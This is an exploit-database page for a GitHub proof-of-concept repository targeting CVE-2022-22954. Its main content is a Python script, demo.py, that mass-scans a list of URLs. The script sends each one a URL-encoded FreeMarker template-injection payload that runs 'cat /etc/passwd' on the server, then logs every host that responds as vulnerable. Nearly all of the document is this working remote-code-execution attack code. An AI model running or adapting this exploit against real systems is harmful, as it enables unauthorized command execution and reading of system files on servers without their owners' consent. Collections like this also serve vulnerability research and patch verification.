Exploit database

GH-16187c5641d0a9418a46af3e142f9545

mumu2020629/-cve-2022-22954-scanner

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-22954

28 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
mumu2020629/-cve-2022-22954-scannerRevision bc882f650692

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

demo.py

Python · 2,320 bytes
# -*- coding:utf-8 -*-
import requests
import sys
from threading import Thread
import urllib3
urllib3.disable_warnings()

print("""  _______      ________    ___   ___ ___  ___      ___  ___   ___  _____ _  _   
  / ____\ \    / /  ____|  |__ \ / _ \__ \|__ \    |__ \|__ \ / _ \| ____| || |  
 | |     \ \  / /| |__ ______ ) | | | | ) |  ) |_____ ) |  ) | (_) | |__ | || |_ 
 | |      \ \/ / |  __|______/ /| | | |/ /  / /______/ /  / / \__, |___ \|__   _|
 | |____   \  /  | |____    / /_| |_| / /_ / /_     / /_ / /_   / / ___) |  | |  
  \_____|   \/   |______|  |____|\___/____|____|   |____|____| /_/ |____/   |_|  """)

def scan(txt):
    data ='test'
    li = '/bin/bash'
    headers = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    path = '/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d'
    f = open(txt)
    urllist=f.readlines()
    # print(all)
    for url in urllist:
        url = url.strip('\n')
        all = url + path

        try:
            req=requests.get(url=all,headers=headers,data=data,verify=False,timeout=3)
            code =req.status_code
            text = req.text
            rsp = '"error":"Internal Server Error"'
            if code == 400 and li in text:
                print(f'[+]{url} 存在漏洞')
                poc_file = open('succ.txt', 'a+')
                poc_file.write(url + '\n')
                poc_file.close()
            else:
                print(f'[-]{url} 不存在漏洞')

        except requests.exceptions.RequestException:
            print(f'[-]{url} 检测超时')
            continue
        except:
            print(f'[-]{url} 检测异常')
            continue



if __name__ == '__main__' :
    try:
       cmd1 =sys.argv[1]
       t=Thread(target=scan, args=[cmd1])
       t.start()
    except:
        print('用法:')
        print('python demo.py url.txt')
        pass